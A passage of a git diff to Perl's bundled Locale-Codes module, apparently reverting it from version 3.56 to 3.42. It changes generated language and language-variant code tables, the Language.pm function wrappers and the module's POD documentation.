-      q(0074) => q(sursilv),
-      q(0075) => q(sutsilv),
-      q(0076) => q(tarask),
-      q(0077) => q(uccor),
-      q(0078) => q(ucrcor),
-      q(0079) => q(ulster),
-      q(0080) => q(unifon),
-      q(0081) => q(vaidika),
-      q(0082) => q(valencia),
-      q(0083) => q(vallader),
-      q(0084) => q(wadegile),
-      q(0085) => q(xsistemo),
+      q(0010) => q(ao1990),
+      q(0011) => q(arevela),
+      q(0012) => q(arevmda),
+      q(0013) => q(baku1926),
+      q(0014) => q(balanka),
+      q(0015) => q(barla),
+      q(0016) => q(basiceng),
+      q(0017) => q(bauddha),
+      q(0018) => q(biscayan),
+      q(0019) => q(biske),
+      q(0020) => q(bohoric),
+      q(0021) => q(boont),
+      q(0022) => q(colb1945),
+      q(0023) => q(cornu),
+      q(0024) => q(dajnko),
+      q(0025) => q(ekavsk),
+      q(0026) => q(emodeng),
+      q(0027) => q(fonipa),
+      q(0028) => q(fonnapa),
+      q(0029) => q(fonupa),
+      q(0030) => q(fonxsamp),
+      q(0031) => q(hepburn),
+      q(0032) => q(hognorsk),
+      q(0033) => q(ijekavsk),
+      q(0034) => q(itihasa),
+      q(0035) => q(jauer),
+      q(0036) => q(jyutping),
+      q(0037) => q(kkcor),
+      q(0038) => q(kociewie),
+      q(0039) => q(kscor),
+      q(0040) => q(laukika),
+      q(0041) => q(lipaw),
+      q(0042) => q(luna1918),
+      q(0043) => q(metelko),
+      q(0044) => q(monoton),
+      q(0045) => q(ndyuka),
+      q(0046) => q(nedis),
+      q(0047) => q(newfound),
+      q(0048) => q(njiva),
+      q(0049) => q(nulik),
+      q(0050) => q(osojs),
+      q(0051) => q(oxendict),
+      q(0052) => q(pamaka),
+      q(0053) => q(petr1708),
+      q(0054) => q(pinyin),
+      q(0055) => q(polyton),
+      q(0056) => q(puter),
+      q(0057) => q(rigik),
+      q(0058) => q(rozaj),
+      q(0059) => q(rumgr),
+      q(0060) => q(scotland),
+      q(0061) => q(scouse),
+      q(0062) => q(simple),
+      q(0063) => q(solba),
+      q(0064) => q(sotav),
+      q(0065) => q(surmiran),
+      q(0066) => q(sursilv),
+      q(0067) => q(sutsilv),
+      q(0068) => q(tarask),
+      q(0069) => q(uccor),
+      q(0070) => q(ucrcor),
+      q(0071) => q(ulster),
+      q(0072) => q(unifon),
+      q(0073) => q(vaidika),
+      q(0074) => q(valencia),
+      q(0075) => q(vallader),
+      q(0076) => q(wadegile),
       },
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm
index e01eea34437a..8b023ddce1ef 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangVar_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::LangVar_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'langvar'}{'alpha'}{'code'} = {
 };
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Language.pm b/cpan/Locale-Codes/lib/Locale/Codes/Language.pm
index ad36bd00a931..0e3d03e63ea8 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Language.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Language.pm
@@ -1,94 +1,99 @@
 package Locale::Codes::Language;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::Language_Codes;
+use Locale::Codes::Language_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2language
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2language
                 language2code
                 all_language_codes
                 all_language_names
                 language_code2code
+                LOCALE_LANG_ALPHA_2
+                LOCALE_LANG_ALPHA_3
+                LOCALE_LANG_TERM
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_LANGUAGE);
-
-our $obj = new Locale::Codes('language');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2language {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('language',@_);
 }
 
 sub language2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('language',@_);
 }
 
 sub language_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('language',@_);
 }
 
 sub all_language_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('language',@_);
 }
 
 sub all_language_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('language',@_);
 }
 
 sub rename_language {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('language',@_);
 }
 
 sub add_language {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('language',@_);
 }
 
 sub delete_language {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('language',@_);
 }
 
 sub add_language_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('language',@_);
 }
 
 sub delete_language_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('language',@_);
 }
 
 sub rename_language_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('language',@_);
 }
 
 sub add_language_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('language',@_);
 }
 
 sub delete_language_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('language',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Language.pod b/cpan/Locale-Codes/lib/Locale/Codes/Language.pod
index 6a67d8eee2ff..42ebe3ac84bc 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Language.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Language.pod
@@ -2,107 +2,94 @@
 
 =head1 NAME
 
-Locale::Codes::Language - module for dealing with language code sets
+Locale::Codes::Language - standard codes for language identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::Language;
 
-   $name = code2language(CODE);
-   $code = language2code(NAME);
+   $lang = code2language('en');        # $lang gets 'English'
+   $code = language2code('French');    # $code gets 'fr'
 
    @codes   = all_language_codes();
    @names   = all_language_names();
 
 =head1 DESCRIPTION
 
-This module provides access to language code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes used
+for identifying languages, such as those as defined in ISO 639.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+639 two-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: language
-Please refer to the documentation of the L module
-for details about each function.
+There are several different code sets you can use for identifying
+languages. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-The following functions are exported automatically:
+For example, the two are equivalent:
 
-=over 4
+   $lang = code2language('en','alpha-2');
+   $lang = code2language('en',LOCALE_LANG_ALPHA_2);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is the set of two-letter (lowercase) codes from ISO 639-1, such
+as 'he' for Hebrew.  It also includes additions to this set included
+in the IANA language registry.
 
-=item B
+This is the default code set.
 
-See B in L
+=item B
 
-=item B
+This is the set of three-letter (lowercase) bibliographic codes from
+ISO 639-2 and 639-5, such as 'heb' for Hebrew.  It also includes
+additions to this set included in the IANA language registry.
 
-See B in L
+=item B
 
-=item B
-
-See B in L
+This is the set of three-letter (lowercase) terminologic codes from
+ISO 639.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
-=item B
+=item B
 
-See B in L
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +101,22 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+Source of the ISO 639-2 codes.
+
+=item L
+
+Source of the ISO 639-5 codes.
+
+=item L
+
+The IANA language subtag registry.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +127,9 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm
index bbb565c19d10..f71447c0d7e5 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Language_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::Language_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:17:53 EST 2018
+#    Generated on: Tue Nov 29 15:43:44 EST 2016
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
-$Locale::Codes::Data{'language'}{'id'} = '7961';
+$Locale::Codes::Data{'language'}{'id'} = '7958';
 
 $Locale::Codes::Data{'language'}{'id2names'} = {
    q(0001) => [
@@ -176,7 +176,6 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       ],
    q(0050) => [
       q(Bengali),
-      q(Bangla),
       ],
    q(0051) => [
       q(Berber languages),
@@ -306,1296 +305,1293 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(Chamic languages),
       ],
    q(0090) => [
-      q(Montenegrin),
-      ],
-   q(0091) => [
       q(Coptic),
       ],
-   q(0092) => [
+   q(0091) => [
       q(Cornish),
       ],
-   q(0093) => [
+   q(0092) => [
       q(Corsican),
       ],
-   q(0094) => [
+   q(0093) => [
       q(Creoles and pidgins, English based),
       q(Creoles and pidgins, English-based),
       q(English-based creoles and pidgins),
       ],
-   q(0095) => [
+   q(0094) => [
       q(Creoles and pidgins, French-based ),
       q(Creoles and pidgins, French-based),
       q(French-based creoles and pidgins),
       ],
-   q(0096) => [
+   q(0095) => [
       q(Creoles and pidgins, Portuguese-based ),
       q(Creoles and pidgins, Portuguese-based),
       q(Portuguese-based creoles and pidgins),
       ],
-   q(0097) => [
+   q(0096) => [
       q(Cree),
       ],
-   q(0098) => [
+   q(0097) => [
       q(Crimean Tatar),
       q(Crimean Turkish),
       ],
-   q(0099) => [
+   q(0098) => [
       q(Creoles and pidgins ),
       q(Creoles and pidgins),
       ],
-   q(0100) => [
+   q(0099) => [
       q(Kashubian),
       ],
-   q(0101) => [
+   q(0100) => [
       q(Cushitic languages),
       ],
-   q(0102) => [
+   q(0101) => [
       q(Czech),
       ],
-   q(0103) => [
+   q(0102) => [
       q(Dakota),
       ],
-   q(0104) => [
+   q(0103) => [
       q(Danish),
       ],
-   q(0105) => [
+   q(0104) => [
       q(Dargwa),
       ],
-   q(0106) => [
+   q(0105) => [
       q(Land Dayak languages),
       ],
-   q(0107) => [
+   q(0106) => [
       q(Delaware),
       ],
-   q(0108) => [
+   q(0107) => [
       q(Slave (Athapascan)),
       ],
-   q(0109) => [
+   q(0108) => [
       q(Dogrib),
       ],
-   q(0110) => [
+   q(0109) => [
       q(Dinka),
       ],
-   q(0111) => [
+   q(0110) => [
       q(Divehi),
       q(Dhivehi),
       q(Maldivian),
       ],
-   q(0112) => [
+   q(0111) => [
       q(Dogri),
       q(Dogri (macrolanguage)),
       ],
-   q(0113) => [
+   q(0112) => [
       q(Dravidian languages),
       ],
-   q(0114) => [
+   q(0113) => [
       q(Lower Sorbian),
       ],
-   q(0115) => [
+   q(0114) => [
       q(Duala),
       ],
-   q(0116) => [
+   q(0115) => [
       q(Dutch, Middle (ca.1050-1350)),
       q(Middle Dutch (ca. 1050-1350)),
       ],
-   q(0117) => [
+   q(0116) => [
       q(Dutch),
       q(Flemish),
       ],
-   q(0118) => [
+   q(0117) => [
       q(Dyula),
       ],
-   q(0119) => [
+   q(0118) => [
       q(Dzongkha),
       ],
-   q(0120) => [
+   q(0119) => [
       q(Efik),
       ],
-   q(0121) => [
+   q(0120) => [
       q(Egyptian (Ancient)),
       ],
-   q(0122) => [
+   q(0121) => [
       q(Ekajuk),
       ],
-   q(0123) => [
+   q(0122) => [
       q(Elamite),
       ],
-   q(0124) => [
+   q(0123) => [
       q(English),
       ],
-   q(0125) => [
+   q(0124) => [
       q(English, Middle (1100-1500)),
       q(Middle English (1100-1500)),
       ],
-   q(0126) => [
+   q(0125) => [
       q(Esperanto),
       ],
-   q(0127) => [
+   q(0126) => [
       q(Estonian),
       ],
-   q(0128) => [
+   q(0127) => [
       q(Ewe),
       ],
-   q(0129) => [
+   q(0128) => [
       q(Ewondo),
       ],
-   q(0130) => [
+   q(0129) => [
       q(Fang),
       q(Fang (Equatorial Guinea)),
       ],
-   q(0131) => [
+   q(0130) => [
       q(Faroese),
       ],
-   q(0132) => [
+   q(0131) => [
       q(Fanti),
       ],
-   q(0133) => [
+   q(0132) => [
       q(Fijian),
       ],
-   q(0134) => [
+   q(0133) => [
       q(Filipino),
       q(Pilipino),
       ],
-   q(0135) => [
+   q(0134) => [
       q(Finnish),
       ],
-   q(0136) => [
+   q(0135) => [
       q(Finno-Ugrian languages),
       ],
-   q(0137) => [
+   q(0136) => [
       q(Fon),
       ],
-   q(0138) => [
+   q(0137) => [
       q(French),
       ],
-   q(0139) => [
+   q(0138) => [
       q(French, Middle (ca.1400-1600)),
       q(Middle French (ca. 1400-1600)),
       ],
-   q(0140) => [
+   q(0139) => [
       q(French, Old (842-ca.1400)),
       q(Old French (842-ca. 1400)),
       ],
-   q(0141) => [
+   q(0140) => [
       q(Northern Frisian),
       ],
-   q(0142) => [
+   q(0141) => [
       q(Eastern Frisian),
       ],
-   q(0143) => [
+   q(0142) => [
       q(Western Frisian),
       ],
-   q(0144) => [
+   q(0143) => [
       q(Fulah),
       ],
-   q(0145) => [
+   q(0144) => [
       q(Friulian),
       ],
-   q(0146) => [
+   q(0145) => [
       q(Ga),
       ],
-   q(0147) => [
+   q(0146) => [
       q(Gayo),
       ],
-   q(0148) => [
+   q(0147) => [
       q(Gbaya),
       q(Gbaya (Central African Republic)),
       ],
-   q(0149) => [
+   q(0148) => [
       q(Germanic languages),
       ],
-   q(0150) => [
+   q(0149) => [
       q(Georgian),
       ],
-   q(0151) => [
+   q(0150) => [
       q(German),
       ],
-   q(0152) => [
+   q(0151) => [
       q(Geez),
       ],
-   q(0153) => [
+   q(0152) => [
       q(Gilbertese),
       ],
-   q(0154) => [
+   q(0153) => [
       q(Gaelic),
       q(Scottish Gaelic),
       ],
-   q(0155) => [
+   q(0154) => [
       q(Irish),
       ],
-   q(0156) => [
+   q(0155) => [
       q(Galician),
       ],
-   q(0157) => [
+   q(0156) => [
       q(Manx),
       ],
-   q(0158) => [
+   q(0157) => [
       q(German, Middle High (ca.1050-1500)),
       q(Middle High German (ca. 1050-1500)),
       ],
-   q(0159) => [
+   q(0158) => [
       q(German, Old High (ca.750-1050)),
       q(Old High German (ca. 750-1050)),
       ],
-   q(0160) => [
+   q(0159) => [
       q(Gondi),
       ],
-   q(0161) => [
+   q(0160) => [
       q(Gorontalo),
       ],
-   q(0162) => [
+   q(0161) => [
       q(Gothic),
       ],
-   q(0163) => [
+   q(0162) => [
       q(Grebo),
       ],
-   q(0164) => [
+   q(0163) => [
       q(Greek, Ancient (to 1453)),
       q(Ancient Greek (to 1453)),
       ],
-   q(0165) => [
+   q(0164) => [
       q(Greek, Modern (1453-)),
       q(Greek),
       q(Modern Greek (1453-)),
       ],
-   q(0166) => [
+   q(0165) => [
       q(Guarani),
       ],
-   q(0167) => [
+   q(0166) => [
       q(Swiss German),
       q(Alemannic),
       q(Alsatian),
       ],
-   q(0168) => [
+   q(0167) => [
       q(Gujarati),
       ],
-   q(0169) => [
+   q(0168) => [
       q(Gwich'in),
       ],
-   q(0170) => [
+   q(0169) => [
       q(Haida),
       ],
-   q(0171) => [
+   q(0170) => [
       q(Haitian),
       q(Haitian Creole),
       ],
-   q(0172) => [
+   q(0171) => [
       q(Hausa),
       ],
-   q(0173) => [
+   q(0172) => [
       q(Hawaiian),
       ],
-   q(0174) => [
+   q(0173) => [
       q(Hebrew),
       ],
-   q(0175) => [
+   q(0174) => [
       q(Herero),
       ],
-   q(0176) => [
+   q(0175) => [
       q(Hiligaynon),
       ],
-   q(0177) => [
+   q(0176) => [
       q(Himachali languages),
       q(Western Pahari languages),
       ],
-   q(0178) => [
+   q(0177) => [
       q(Hindi),
       ],
-   q(0179) => [
+   q(0178) => [
       q(Hittite),
       ],
-   q(0180) => [
+   q(0179) => [
       q(Hmong),
       q(Mong),
       ],
-   q(0181) => [
+   q(0180) => [
       q(Hiri Motu),
       ],
-   q(0182) => [
+   q(0181) => [
       q(Croatian),
       ],
-   q(0183) => [
+   q(0182) => [
       q(Upper Sorbian),
       ],
-   q(0184) => [
+   q(0183) => [
       q(Hungarian),
       ],
-   q(0185) => [
+   q(0184) => [
       q(Hupa),
       ],
-   q(0186) => [
+   q(0185) => [
       q(Iban),
       ],
-   q(0187) => [
+   q(0186) => [
       q(Igbo),
       ],
-   q(0188) => [
+   q(0187) => [
       q(Icelandic),
       ],
-   q(0189) => [
+   q(0188) => [
       q(Ido),
       ],
-   q(0190) => [
+   q(0189) => [
       q(Sichuan Yi),
       q(Nuosu),
       ],
-   q(0191) => [
+   q(0190) => [
       q(Ijo languages),
       ],
-   q(0192) => [
+   q(0191) => [
       q(Inuktitut),
       ],
-   q(0193) => [
+   q(0192) => [
       q(Interlingue),
       q(Occidental),
       ],
-   q(0194) => [
+   q(0193) => [
       q(Iloko),
       ],
-   q(0195) => [
+   q(0194) => [
       q(Interlingua (International Auxiliary Language Association)),
       ],
-   q(0196) => [
+   q(0195) => [
       q(Indic languages),
       ],
-   q(0197) => [
+   q(0196) => [
       q(Indonesian),
       ],
-   q(0198) => [
+   q(0197) => [
       q(Indo-European languages),
       ],
-   q(0199) => [
+   q(0198) => [
       q(Ingush),
       ],
-   q(0200) => [
+   q(0199) => [
       q(Inupiaq),
       ],
-   q(0201) => [
+   q(0200) => [
       q(Iranian languages),
       ],
-   q(0202) => [
+   q(0201) => [
       q(Iroquoian languages),
       ],
-   q(0203) => [
+   q(0202) => [
       q(Italian),
       ],
-   q(0204) => [
+   q(0203) => [
       q(Javanese),
       ],
-   q(0205) => [
+   q(0204) => [
       q(Lojban),
       ],
-   q(0206) => [
+   q(0205) => [
       q(Japanese),
       ],
-   q(0207) => [
+   q(0206) => [
       q(Judeo-Persian),
       ],
-   q(0208) => [
+   q(0207) => [
       q(Judeo-Arabic),
       ],
-   q(0209) => [
+   q(0208) => [
       q(Kara-Kalpak),
       ],
-   q(0210) => [
+   q(0209) => [
       q(Kabyle),
       ],
-   q(0211) => [
+   q(0210) => [
       q(Kachin),
       q(Jingpho),
       ],
-   q(0212) => [
+   q(0211) => [
       q(Kalaallisut),
       q(Greenlandic),
       ],
-   q(0213) => [
+   q(0212) => [
       q(Kamba),
       q(Kamba (Kenya)),
       ],
-   q(0214) => [
+   q(0213) => [
       q(Kannada),
       ],
-   q(0215) => [
+   q(0214) => [
       q(Karen languages),
       ],
-   q(0216) => [
+   q(0215) => [
       q(Kashmiri),
       ],
-   q(0217) => [
+   q(0216) => [
       q(Kanuri),
       ],
-   q(0218) => [
+   q(0217) => [
       q(Kawi),
       ],
-   q(0219) => [
+   q(0218) => [
       q(Kazakh),
       ],
-   q(0220) => [
+   q(0219) => [
       q(Kabardian),
       ],
-   q(0221) => [
+   q(0220) => [
       q(Khasi),
       ],
-   q(0222) => [
+   q(0221) => [
       q(Khoisan languages),
       ],
-   q(0223) => [
+   q(0222) => [
       q(Central Khmer),
       ],
-   q(0224) => [
+   q(0223) => [
       q(Khotanese),
       q(Sakan),
       ],
-   q(0225) => [
+   q(0224) => [
       q(Kikuyu),
       q(Gikuyu),
       ],
-   q(0226) => [
+   q(0225) => [
       q(Kinyarwanda),
       ],
-   q(0227) => [
+   q(0226) => [
       q(Kirghiz),
       q(Kyrgyz),
       ],
-   q(0228) => [
+   q(0227) => [
       q(Kimbundu),
       ],
-   q(0229) => [
+   q(0228) => [
       q(Konkani),
       q(Konkani (macrolanguage)),
       ],
-   q(0230) => [
+   q(0229) => [
       q(Komi),
       ],
-   q(0231) => [
+   q(0230) => [
       q(Kongo),
       ],
-   q(0232) => [
+   q(0231) => [
       q(Korean),
       ],
-   q(0233) => [
+   q(0232) => [
       q(Kosraean),
       ],
-   q(0234) => [
+   q(0233) => [
       q(Kpelle),
       ],
-   q(0235) => [
+   q(0234) => [
       q(Karachay-Balkar),
       ],
-   q(0236) => [
+   q(0235) => [
       q(Karelian),
       ],
-   q(0237) => [
+   q(0236) => [
       q(Kru languages),
       ],
-   q(0238) => [
+   q(0237) => [
       q(Kurukh),
       ],
-   q(0239) => [
+   q(0238) => [
       q(Kuanyama),
       q(Kwanyama),
       ],
-   q(0240) => [
+   q(0239) => [
       q(Kumyk),
       ],
-   q(0241) => [
+   q(0240) => [
       q(Kurdish),
       ],
-   q(0242) => [
+   q(0241) => [
       q(Kutenai),
       ],
-   q(0243) => [
+   q(0242) => [
       q(Ladino),
       ],
-   q(0244) => [
+   q(0243) => [
       q(Lahnda),
       ],
-   q(0245) => [
+   q(0244) => [
       q(Lamba),
       ],
-   q(0246) => [
+   q(0245) => [
       q(Lao),
       ],
-   q(0247) => [
+   q(0246) => [
       q(Latin),
       ],
-   q(0248) => [
+   q(0247) => [
       q(Latvian),
       ],
-   q(0249) => [
+   q(0248) => [
       q(Lezghian),
       ],
-   q(0250) => [
+   q(0249) => [
       q(Limburgan),
       q(Limburger),
       q(Limburgish),
       ],
-   q(0251) => [
+   q(0250) => [
       q(Lingala),
       ],
-   q(0252) => [
+   q(0251) => [
       q(Lithuanian),
       ],
-   q(0253) => [
+   q(0252) => [
       q(Mongo),
       ],
-   q(0254) => [
+   q(0253) => [
       q(Lozi),
       ],
-   q(0255) => [
+   q(0254) => [
       q(Luxembourgish),
       q(Letzeburgesch),
       ],
-   q(0256) => [
+   q(0255) => [
       q(Luba-Lulua),
       ],
-   q(0257) => [
+   q(0256) => [
       q(Luba-Katanga),
       ],
-   q(0258) => [
+   q(0257) => [
       q(Ganda),
       ],
-   q(0259) => [
+   q(0258) => [
       q(Luiseno),
       ],
-   q(0260) => [
+   q(0259) => [
       q(Lunda),
       ],
-   q(0261) => [
+   q(0260) => [
       q(Luo (Kenya and Tanzania)),
       q(Dholuo),
       ],
-   q(0262) => [
+   q(0261) => [
       q(Lushai),
       ],
-   q(0263) => [
+   q(0262) => [
       q(Macedonian),
       ],
-   q(0264) => [
+   q(0263) => [
       q(Madurese),
       ],
-   q(0265) => [
+   q(0264) => [
       q(Magahi),
       ],
-   q(0266) => [
+   q(0265) => [
       q(Marshallese),
       ],
-   q(0267) => [
+   q(0266) => [
       q(Maithili),
       ],
-   q(0268) => [
+   q(0267) => [
       q(Makasar),
       ],
-   q(0269) => [
+   q(0268) => [
       q(Malayalam),
       ],
-   q(0270) => [
+   q(0269) => [
       q(Mandingo),
       q(Manding),
       ],
-   q(0271) => [
+   q(0270) => [
       q(Maori),
       ],
-   q(0272) => [
+   q(0271) => [
       q(Austronesian languages),
       ],
-   q(0273) => [
+   q(0272) => [
       q(Marathi),
       ],
-   q(0274) => [
+   q(0273) => [
       q(Masai),
       ],
-   q(0275) => [
+   q(0274) => [
       q(Malay),
       q(Malay (macrolanguage)),
       ],
-   q(0276) => [
+   q(0275) => [
       q(Moksha),
       ],
-   q(0277) => [
+   q(0276) => [
       q(Mandar),
       ],
-   q(0278) => [
+   q(0277) => [
       q(Mende),
       q(Mende (Sierra Leone)),
       ],
-   q(0279) => [
+   q(0278) => [
       q(Irish, Middle (900-1200)),
       q(Middle Irish (900-1200)),
       ],
-   q(0280) => [
+   q(0279) => [
       q(Mi'kmaq),
       q(Micmac),
       ],
-   q(0281) => [
+   q(0280) => [
       q(Minangkabau),
       ],
-   q(0282) => [
+   q(0281) => [
       q(Uncoded languages),
       ],
-   q(0283) => [
+   q(0282) => [
       q(Mon-Khmer languages),
       ],
-   q(0284) => [
+   q(0283) => [
       q(Malagasy),
       ],
-   q(0285) => [
+   q(0284) => [
       q(Maltese),
       ],
-   q(0286) => [
+   q(0285) => [
       q(Manchu),
       ],
-   q(0287) => [
+   q(0286) => [
       q(Manipuri),
       ],
-   q(0288) => [
+   q(0287) => [
       q(Manobo languages),
       ],
-   q(0289) => [
+   q(0288) => [
       q(Mohawk),
       ],
-   q(0290) => [
+   q(0289) => [
       q(Mongolian),
       ],
-   q(0291) => [
+   q(0290) => [
       q(Mossi),
       ],
-   q(0292) => [
+   q(0291) => [
       q(Multiple languages),
       ],
-   q(0293) => [
+   q(0292) => [
       q(Munda languages),
       ],
-   q(0294) => [
+   q(0293) => [
       q(Creek),
       ],
-   q(0295) => [
+   q(0294) => [
       q(Mirandese),
       ],
-   q(0296) => [
+   q(0295) => [
       q(Marwari),
       ],
-   q(0297) => [
+   q(0296) => [
       q(Mayan languages),
       ],
-   q(0298) => [
+   q(0297) => [
       q(Erzya),
       ],
-   q(0299) => [
+   q(0298) => [
       q(Nahuatl languages),
       ],
-   q(0300) => [
+   q(0299) => [
       q(North American Indian languages),
       ],
-   q(0301) => [
+   q(0300) => [
       q(Neapolitan),
       ],
-   q(0302) => [
+   q(0301) => [
       q(Nauru),
       ],
-   q(0303) => [
+   q(0302) => [
       q(Navajo),
       q(Navaho),
       ],
-   q(0304) => [
+   q(0303) => [
       q(Ndebele, South),
       q(South Ndebele),
       ],
-   q(0305) => [
+   q(0304) => [
       q(Ndebele, North),
       q(North Ndebele),
       ],
-   q(0306) => [
+   q(0305) => [
       q(Ndonga),
       ],
-   q(0307) => [
+   q(0306) => [
       q(Low German),
       q(Low Saxon),
       q(German, Low),
       q(Saxon, Low),
       ],
-   q(0308) => [
+   q(0307) => [
       q(Nepali),
       q(Nepali (macrolanguage)),
       ],
-   q(0309) => [
+   q(0308) => [
       q(Nepal Bhasa),
       q(Newari),
       ],
-   q(0310) => [
+   q(0309) => [
       q(Nias),
       ],
-   q(0311) => [
+   q(0310) => [
       q(Niger-Kordofanian languages),
       ],
-   q(0312) => [
+   q(0311) => [
       q(Niuean),
       ],
-   q(0313) => [
+   q(0312) => [
       q(Norwegian Nynorsk),
       q(Nynorsk, Norwegian),
       ],
-   q(0314) => [
+   q(0313) => [
       q(Bokmal, Norwegian),
       q(Norwegian Bokmal),
       ],
-   q(0315) => [
+   q(0314) => [
       q(Nogai),
       ],
-   q(0316) => [
+   q(0315) => [
       q(Norse, Old),
       q(Old Norse),
       ],
-   q(0317) => [
+   q(0316) => [
       q(Norwegian),
       ],
-   q(0318) => [
+   q(0317) => [
       q(N'Ko),
       ],
-   q(0319) => [
+   q(0318) => [
       q(Pedi),
       q(Sepedi),
       q(Northern Sotho),
       ],
-   q(0320) => [
+   q(0319) => [
       q(Nubian languages),
       ],
-   q(0321) => [
+   q(0320) => [
       q(Classical Newari),
       q(Old Newari),
       q(Classical Nepal Bhasa),
       ],
-   q(0322) => [
+   q(0321) => [
       q(Chichewa),
       q(Chewa),
       q(Nyanja),
       ],
-   q(0323) => [
+   q(0322) => [
       q(Nyamwezi),
       ],
-   q(0324) => [
+   q(0323) => [
       q(Nyankole),
       ],
-   q(0325) => [
+   q(0324) => [
       q(Nyoro),
       ],
-   q(0326) => [
+   q(0325) => [
       q(Nzima),
       ],
-   q(0327) => [
+   q(0326) => [
       q(Occitan (post 1500)),
       q(Provencal),
       ],
-   q(0328) => [
+   q(0327) => [
       q(Ojibwa),
       ],
-   q(0329) => [
